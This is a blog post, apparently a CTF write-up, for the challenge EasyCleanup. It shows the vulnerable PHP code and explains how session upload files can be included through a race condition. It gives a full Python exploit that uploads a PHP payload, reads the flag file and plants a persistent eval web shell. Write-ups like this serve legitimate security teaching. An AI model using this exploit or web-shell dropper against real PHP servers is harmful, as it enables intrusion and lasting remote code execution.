临时文件包含

临时文件包含

今天在做第五空间2021的web题,碰到一个没学过的东西,记录一下。

题目:[第五空间 2021]EasyCleanup

拿到题之后,首先给了串代码:

<?php 
if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 

if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 

function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?>

首先是让传个mode和shell,如果mode是eval就可以执行命令,但是这个命令是有长度限制的,如果超过了15个字符就会报hacker,好巧不巧,system('ls /');正好是15个字符,执行命令查看根目录下有什么文件:

可以看到里面有一个是flag文件:nssctfasdasdflag(题目是在NSSCTF平台上打的所以是这个文件名)。

直接在mode里打是肯定不行的,毕竟一个文件名都不止15个字符了,那么这题应该怎么做呢?

看到这么一段代码:

if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 

这是一个文件包含,我们可以利用临时文件包含的方法来打。

漏洞原理:

利用session.upload_progress上传一个临时文件,该文件中写入恶意代码,比如一句话木马1,然后包含它,从而执行里面的代码。因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件。就是条件竞争的意思。

本地复现:

(本地的Linux没有LAMP,远端的服务器打了然后寄了没打通,所以没有本地复现的内容qwq)

Payload:

这里我们利用Python的脚本来进行文件的上传和包含:

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://1.14.71.254:28140/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /nssctfasdasdflag*');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://1.14.71.254:28140/?mode=eval&shell=system(\'ls /\');&file=/tmp/sess_{sessid}')
        if 'NSSCTF' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

直接跑脚本,就可以拿到flag(以后要是遇到类似题目改下url就可以了):

点赞
  1. qf说道:

    师傅知道如何上传临时文件解决这题吗

发表回复

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像